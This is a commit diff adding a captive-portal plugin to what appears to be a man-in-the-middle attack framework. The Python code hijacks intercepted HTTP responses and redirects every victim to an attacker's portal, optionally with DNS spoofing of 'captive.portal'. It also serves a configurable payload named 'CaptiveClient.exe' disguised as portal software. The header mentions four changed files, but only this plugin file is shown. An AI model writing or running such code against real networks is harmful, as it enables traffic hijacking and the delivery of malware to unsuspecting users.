Added captive portal plugin

2025-07-08 05:51:48 -07:00 · 2016-01-14 11:03:05 +01:00 · 2016-01-14 11:03:05 +01:00 · 681be498a9
commit 681be498a9
parent d542dc139f
4 changed files with 202 additions and 0 deletions
--- a/plugins/captive.py
+++ b/plugins/captive.py
@ -0,0 +1,142 @@
+# Copyright (c) 2014-2016 Marcello Salvati
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 3 of the
+# License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+# USA
+#
+
+from plugins.plugin import Plugin
+from urlparse import urlparse
+
+
+class Captive(Plugin):
+    name        = "Captive Portal"
+    optname     = "captive"
+    tree_info   = ["Captive Portal online"]
+    desc        = "Be a captive portal!"
+    version     = "0.1"
+
+    def initialize(self, options):
+        self.options = options
+
+        from core.utils import shutdown
+
+        if options.portalurl:
+            self.portalurl = options.portalurl
+        else:
+            # self.options.ip is prefilled earlier
+            self.hostname = 'captive.portal' if self.options.usedns else self.options.ip
+            
+            if options.portaldir:
+                self.serve_dir(options.portaldir)
+            else:
+                self.serve_portal()
+            
+    def response(self, response, request, data):
+
+        if urlparse(self.portalurl).hostname not in request.headers['host']:
+            self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo)
+            response.headers = {}
+            data = '''<html>
+            <body>
+            <p>Please click <a href="{}">here</a> if you are not redirected automatically</p>
+            </body></html>
+            '''.format(self.portalurl)
+            response.redirect(self.portalurl)
+
+        return {'response': response, 'request':request, 'data': data}
+
+    def options(self, options):
+        options.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.')
+        options.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).')
+        options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.')
+
+    def on_shutdown(self):
+        '''This will be called when shutting down'''
+        pass
+
+    def serve_portal(self):
+
+        self.portalurl = 'http://{}/portal.html'.format(self.hostname)
+
+        from core.servers.HTTP import HTTP
+        HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html')
+        HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename'])
+        self.tree_info.append("Portal login served by built-in HTTP server.")
+        
+
+    def serve_dir(self, dir):
+        import threading
+        import posixpath
+        import urllib
+        import os
+        from SimpleHTTPServer import SimpleHTTPRequestHandler
+        from BaseHTTPServer import HTTPServer as ServerClass
+        Protocol     = "HTTP/1.0"
+        port         = self.config['Captive']['Port']
+        ServerString = self.config['Captive']['ServerString']
+
+        self.portalurl = "http://{}:{}/".format(self.hostname, port)
+        
+        ROUTES = (['', dir],)
+        class HandlerClass(SimpleHTTPRequestHandler):
+            '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779'''
+
+            def translate_path(self, path):
+                '''translate path given routes'''
+
+                # set default root to cwd
+                root = os.getcwd()
+            
+                # look up routes and set root directory accordingly
+                for pattern, rootdir in ROUTES:
+                    if path.startswith(pattern):
+                        # found match!
+                        path = path[len(pattern):]  # consume path up to pattern len
+                        root = rootdir
+                        break
+
+                # normalize path and prepend root directory
+                path = path.split('?',1)[0]
+                path = path.split('#',1)[0]
+                path = posixpath.normpath(urllib.unquote(path))
+                words = path.split('/')
+                words = filter(None, words)
+
+                path = root
+                for word in words:
+                    drive, word = os.path.splitdrive(word)
+                    head, word = os.path.split(word)
+                    if word in (os.curdir, os.pardir):
+                        continue
+                    path = os.path.join(path, word)
+
+                return path
+
+
+        server_address = ('0.0.0.0', int(port))
+        HandlerClass.protocol_version = Protocol
+        HandlerClass.server_version = ServerString
+        
+        httpd = ServerClass(server_address, HandlerClass)
+        ServerClass.path = dir
+
+        sa = httpd.socket.getsockname()
+        try:
+            t = threading.Thread(name='PortalServer', target=httpd.serve_forever)
+            t.setDaemon(True)
+            t.start()
+            self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir))
+        except Exception as e:
+            shutdown("Failed to start Portal Server")